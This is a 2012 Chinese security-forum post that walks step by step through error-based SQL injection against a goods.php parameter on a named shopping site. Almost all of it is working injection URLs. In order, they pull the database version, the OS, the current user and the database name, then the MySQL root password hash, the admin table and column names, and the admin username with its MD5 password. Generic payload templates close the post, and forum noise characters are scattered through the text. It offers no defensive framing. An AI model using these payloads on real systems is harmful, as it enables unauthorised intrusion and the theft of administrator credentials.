找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2120|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号
; p. X7 o  y5 e( H' [' ^http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23, @7 F' S) X) n& }0 L( P" @+ ], ?
) K" d8 _2 G* @) d
判断系统3 x2 Q1 J' r8 i+ N2 }
6 o1 W; V8 K( h1 v7 B
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, _4 l4 Y; n& p& R3 F0 H5 W& S) z0 h" [$ p* {3 d: D8 p

& o- s/ Z/ o- K( v# n7 K0 S; ~
  z# [4 X: u" ?- [当前 user()
# U/ a3 H( k4 K" r  u! @4 O: R4 `: g, d7 ~6 |0 @
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 g6 ~  T7 o& D8 S/ S* k
) o' Y; ~- ^( t& u5 g& ?/ V5 j# c) Q4 r9 I1 \
5 ]" D8 c: @0 Y! k5 i
当前 database()6 y0 l/ ~4 n# S" Y) R- \
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 V- o6 p0 }. D" ~8 o4 r" {( q
$ G' @( E' \  a- s" A' W

' |# V6 B$ r4 Q* ]; w; g3 \+ }3 c+ a% m+ ?$ M/ x
6 Y8 ]7 Q  _" ?) A5 i# Q" W$ s( a
root hash
6 R4 e$ G! U1 o0 ]. z- m* U) K. y! F( b' u
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
9 z7 h) @( ~% k5 P4 l7 ]1 r# m8 P- d/ W! o  t( F0 K  M, k% u4 G4 r, N
! ^7 P  F3 G& w
$ k- d" M( c4 H$ Y: \' g
当前 数据库表名" l1 [+ J+ B3 u  I
" _* c1 p. O: f' a" |6 z
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. g' [: A/ {. y0 Y* B* z/ u2 R

# Q5 H9 a. I1 G3 W
- ?* @* ]: g" e+ O7 z% o6 G# K; i* l8 A9 b
当前 数据库 user_name 字段6 t" o! ]8 @1 @8 f( I" R$ M" c
7 {6 K7 r; t& Y0 N3 W& ~- N8 r! q
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 P+ E: a  q( {  T5 J6 F

" I( Y1 D& O3 B, w4 }当前 数据库 字段 password+ L. ], ~) j8 I$ z/ I$ ]
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, ?5 N  F/ X, A: X/ z, q  T" d. B3 d; J+ ~
+ v3 L2 S% u& N& }+ b0 v2 f
/ I7 j3 n7 A/ o% A0 G
获得 admin passwd(md5)& \: [7 }8 U% h8 c2 K

4 W1 |) s) `( t$ t) }
2 W, m, ~" r! B, [6 Uhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
. J9 N5 G. q( t6 [. x: L
. ^5 H' u: s- T' T, [6 n+ \6 F- y. b报错注射
7 }1 r& @& @6 }: A( n4 MSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)- m, g6 h/ m% L, s

2 W9 D; Q- N/ iSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
) }& ]8 w, y$ k- Y+ u5 J- r1 e/ o% e. j$ j9 }) h
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表